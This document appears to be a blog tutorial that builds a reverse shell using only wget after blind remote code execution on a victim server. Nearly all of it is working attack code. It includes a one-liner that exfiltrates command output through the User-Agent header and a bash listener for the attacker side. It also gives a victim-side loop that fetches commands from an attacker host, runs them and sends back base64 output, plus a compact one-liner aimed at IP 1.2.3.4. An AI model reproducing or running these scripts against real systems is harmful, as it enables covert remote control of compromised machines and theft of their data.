Constructing a Wget reverse shell

Recently, I needed to create a reverse shell from a machine where I knew I had a Remote Code Execution (RCE), but without any output. I did not have python, nc, perl, ruby on the target machine, therefore getting a reverse shell to work was pretty much a pain in the neck. I knew I had a blind Remote Code Execution on the server (through a web application) but I had no way of exfiltrating the command execution results.

As I was determined to obtain a reverse shell on this machine, I started studying what I would need to create a reverse shell and decided to create one using wget.

First things first, we need to create an uplink to get the command results back from the victim machine.

IP="127.0.0.1";
PORT=4444;

wget "http://$IP:$PORT" -q \
    -O- \
    --user-agent="$(id 2>&1)" \
    --output-file=/dev/null

In our netcat listener we have received the request, with the exfiltrated command result inside the User-Agent :

GET / HTTP/1.1
User-Agent: uid=1000(poc) gid=1000(poc) groups=1000(poc)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

wget

First working version

Requirements

  • On the victim machine :

    • wget, base64
  • On the attacker machine :

    • wget, nc, grep, awk, cat, xxd, head

Listenner on the attack machine

#!/usr/bin/env bash

CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

log()  { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}";  }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }

remote_exec(){
    local CMD="${1}"
    echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
    RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
    echo "${RESULT}"
}

wait_for_connection(){
    log "Waiting for incomming wget connection ..."
    local proof="$(cat /dev/urandom | xxd -p | head -n 1)"
    waiting=1
    while [[ ${waiting} == 1 ]]; do
        local response="$(remote_exec "echo '${proof}'")"
        if [[ $(echo "${response}" | grep "${proof}" | wc -l) -ne 0 ]]; then
            log "Validated ! proof : ${proof}"
            waiting=0
        fi
    done
    info "Connected ! (interactive shell incomming)"
}

#===============================================================================

wait_for_connection

PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    printf "${PROMPT}"; read
    if [[ "${REPLY}" == "exit" ]]; then
        echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
        RUNNING=0
    else
        echo "$(remote_exec "${REPLY}")"
    fi
done

Reverse shell on the victim machine

#!/usr/bin/env bash

REV_IP='localhost'

CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    CMD=$(wget -q "http://${REV_IP}:${CMD_RECV_PORT}" -O- --output-file=/dev/null 2>/dev/null)
    if [[ ${CMD} != "" ]]; then
        if [[ ${CMD} == "exit" ]]; then
            RUNNING=0
        else
            sleep 0.125
            wget \
                "http://${REV_IP}:${CMD_REPLY_PORT}" \
                --output-file=/dev/null \
                --user-agent="$(${CMD} 2>&1 | base64 | tr -d "\n")"\
                2>/dev/null
        fi
    fi
done

Compacting everything

Now that we have a working first version, we would love to have a compact version of this wget reverse shell :

On the victim machine :

IP="1.2.3.4";DOWNLINK=8080;UPLINK=8081
while true; do sleep 0.125; wget "http://${IP}:${UPLINK}" --output-file=/dev/null --user-agent="$($(wget -q "http://${IP}:${DOWNLINK}" -O- --output-file=/dev/null 2>/dev/null) 2>&1 | base64 | tr -d "\n")" 2>/dev/null; done